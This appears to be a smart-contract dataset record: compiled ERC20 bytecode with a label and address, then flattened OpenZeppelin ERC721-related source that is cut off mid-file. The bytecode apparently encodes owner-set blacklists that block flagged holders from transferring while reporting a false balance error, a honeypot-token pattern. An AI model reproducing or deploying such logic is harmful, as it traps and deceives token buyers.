602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b2cf079d336edcda3a28242633a1c0c8810adf742dfd60025c951f1a014018a564736f6c63430006060033 | [
38
] |
0xf3511dced180f0e5a5155ccc5edabdfe1bc429c0 | // File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
